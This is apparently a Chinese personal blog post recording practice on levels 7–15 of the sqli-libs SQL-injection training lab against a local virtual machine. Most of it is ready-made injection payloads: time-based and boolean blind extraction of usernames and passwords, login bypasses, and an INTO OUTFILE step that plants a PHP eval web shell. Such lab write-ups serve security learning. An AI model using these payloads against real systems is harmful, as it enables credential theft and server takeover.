【20171030早】sqli-libs Less7-15 练习
北风卷地白草折，胡天八月即飞雪。今天温度可真低，脑子也清醒了不少，早上重新指定了计划后，紧张比较顺利。下面开始老黑的sqli-libs过关斩将的经历！！
Less 7：
分析：看显示的内容，猜测应该将注入的内容导出到文件中
TRY：
s1：测试闭合的条件，1' fail，1" fail，1') fail，1") fail，1')) OK！要问怎么测试是否闭合？方法很多，比方说下面的测试过程
s1.1 http://192.168.162.135/sqli-libs/Less-7?id=1')) order by 1--+ ，用来判断字段的数量，这里显示正常，接着
s1.1 url中的order by 一直增加到4的时候出错，证明表中有三个字段，而且注入的order by 4语句是OK有效的，所以也说明'))可以闭合前面的内容。
s2：页面没有回显，所以可以使用时间注入法，简单说就是在构造的注入语句中添加if(expr1, expr2, expr3)，expr2中加入sleep()延缓网页反应时间，expr1中写入对数据库信息猜测的语句，这样猜的对，网页反应慢，猜的错，立即反应，通过时间的长短，代表真假。
详细不多赘述，答案：http://192.168.162.135/sqli-libs/Less-7?id=1')) and if((ascii(substr((select group_concat(id,0x7c,username,0x7c,password) from security.users where id=10),4,4)))=97, sleep(5), null)--+
解释：97是a的ASCII值，if中判断第4个字符是不是a，当然一开始不会知道是什么，老黑用?代替字符，先结合二分法缩短范围，最终定位，
1. ? < 127 => ? < 64 => ? < 96 => ? < 112 => ? < 104 => ？ < 100 => ? < 98 => ?=97
s3：但是老黑一开始说使用文件，是的，网上很多答案也是这样，我也是学了一下，实现过程如下：
s3.1：判断是否有写权限，可以判断有写权限
http://192.168.162.135/sqli-libs/Less-7?id=1')) and (select count(*)from mysql.user)>0 --+ //如果返回正常则有读写权限
s3.2：将注入内容写入文件
http://192.168.162.135/sqli-libs/Less-7?id=1')) union select 1,'<?php eval($_POST["123"]); ?>',3 into outfile '/var/www/html/sqli-libs/test.php' --+
按理说，应该在系统的/var/www/html/sqli-libs下出现test.php文件，可惜的是，我的ubuntu下没有，可惜了，没有成功，不知道你们成功了吗？如果有人知道老黑哪写错了，还请指出，多谢，呵呵呵呵！
Less 8:
boolean猜表，id=1'进行闭合
答案：http://192.168.162.135/sqli-libs/Less-8?id=1' and (ascii(substr((select group_concat(id,0x7c,username,0x7c,password) from security.users where id=10),4,4)))=97--+ boolean判断字符ascii，二分法速度快
Less 9:
时间长短猜表，id=1'进行闭合
答案：http://192.168.162.135/sqli-libs/Less-9?id=1' and if((ascii(substr((select group_concat(id,0x7c,username,0x7c,password) from security.users where id=10),4,4)))=97, sleep(5), null)--+ 时间判断，页面反应时间长短代替boolean判断
Less 10:
和Less 9 一样
答案：http://192.168.162.135/sqli-libs/Less-10?id=1" and if((ascii(substr((select group_concat(id,0x7c,username,0x7c,password) from security.users where id=10),4,4)))=97, sleep(5), null)--+
Less 11:
和之前不同了，晒张图看看。
输入用户名和密码登陆系统，这也可以sql注入，同样是是寻找闭合方式，尝试了一下，得知 ' 便可以闭合
答案：
登陆：username=a && password=b' or '1'='1
注入：1' union select 1,database()# : 1
Less 12:
答案：和Less 11相似
注入 ：1' union select 1,database()# : 1
Less 13:
登陆： a : b') or 1=1
注入：a : b') or (ascii(substr((select group_concat(id,0x7c,username,0x7c,password) from security.users where id=10),4,4)))=97# (boolean 注入)
Less 14:
登陆： a : b" or 1=1#
注入：a : b" or (ascii(substr((select group_concat(id,0x7c,username,0x7c,password) from security.users where id=10),4,4)))=97# (boolean 注入)
Less 15:
登陆： a : b' or 1=1#
注入：a : b' or (ascii(substr((select group_concat(id,0x7c,username,0x7c,password) from security.users where id=10),4,4)))=97# (boolean 注入)
总结：基本上是先找闭合方式，然后寻找回显方式（直接：页面直接显示，错误信息显示，间接：boolean判断，时间判断），最后构造搜集想要的信息，OK！
